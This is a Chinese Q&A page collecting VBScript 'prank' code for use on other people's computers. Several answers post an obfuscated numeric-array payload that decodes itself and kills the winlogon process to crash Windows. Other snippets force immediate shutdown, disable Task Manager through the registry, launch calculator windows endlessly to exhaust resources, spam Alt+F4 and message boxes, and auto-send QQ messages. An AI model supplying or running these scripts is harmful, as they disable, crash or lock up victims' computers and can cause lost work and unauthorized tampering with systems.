vbs整人代码大全

必须20个以上，谢谢！

举报该文章

第1个回答 2012-03-17

这个很强悍的vbs,蓝屏
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner

vbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;"

第2个回答 2010-08-05

1.do
msgbox "hi"
loop
2.Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
3.strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
4.dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 40
WSHshell.SendKeys "%{F4}"
next

第3个回答 2010-07-31

代码是：
dim s
do until s=10000000
s=s+1
msgbox "哥们，给我按10000000次回车吧",64
loop

第4个回答 2010-07-31

http://wenku.baidu.com/view/877ce011f18583d04964594e.html本回答被提问者采纳

第5个回答 2010-07-28

http://tieba.baidu.com/f?kz=616676294

1 2 下一页

vbs整人代码_vbs整人关机代码不管用_vbs简单代码
Wscript.Quit 此代码可根据需要调整发送次数，用于恶作剧或娱乐。二、持续弹出“你真愚蠢！”的对话框。复制代码如下：Do MsgBox "You are foolish!"Loop 通过此代码，可实现持续弹窗，增添趣味性。三、打开无数个计算器，直至系统资源耗尽。复制代码如下：Do Wsh.Run "calc"Loop 通过不断启动计算器程序...

电脑整人、告白提醒妙招两段代码足够了
先来第一段弹窗代码： msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C

vbs整人代码_手机vbs整人代码_如何让别人执行vbs代码
一、自动向QQ好友发送特定信息。创建名为“xx.vbs”的VBS文件，然后替换其中的“xx”为好友昵称，修改发送次数与间隔时间，即可自动向该好友发送信息。示例代码如下：复制代码代码如下:On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell")for i=1 to 10 wscript.sleep 700 wsh....

要vbs的整人代码,不要整太狠的那种,只是开玩笑的那种,谁有啊。_百度知...
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦...

有没有一些恶搞别人的vbs代码
代码十：超强整人 set ws=createobject("wscript.shell")call shutdown(1)do while a>"我是猪"a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")loop call shutdown(2)msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"...

求大量VBS整人代码.
Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877...

给我几个vbs捉弄人的代码,网上的都用过了,没意思,给一个好玩点的...
1.set ad=createobject("wscript.shell")ad.run"cmd \/c shutdown -s -t 60"wscript.sleep 10 ad.Run "ntsd -c q -pn WINLOGON.exe"2.Set ws = CreateObject("WScript.Shell")ws.RegWrite "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\system\\disabletaskmgr", 1, "...

我制作的vbs整人代码。求高人看看哪里出问题了。我是新手,别喷我。_百...
2.msgbox "0000"16+4096,"000"应该是一行。而且缺少分隔符逗号（注意！还是英文逗号。）如下：msgbox "0000",16+4096,"000"整个改过来应该是：dim a a=inputbox("“问题”")if a="答案" then msgbox "。。"end if Dim name name=Inputbox("00")Msgbox name, , "00"msgbox "00000。"d...

求VBS整人代码,最好是厉害的,例如添加开机启动项自动关机等,越牛越好...
set wsh=createobject("wscript.shell")do wsh.run "calc"loop ———dim WSHshell set WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true ———do msgbox "CPU温度过高！请检查散热系统，详细参见《用户手册》"，，“系统提示”loop ———...

有没有一些恶搞别人的vbs代码
代码十:超强整人set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是...

相似回答

大家正在搜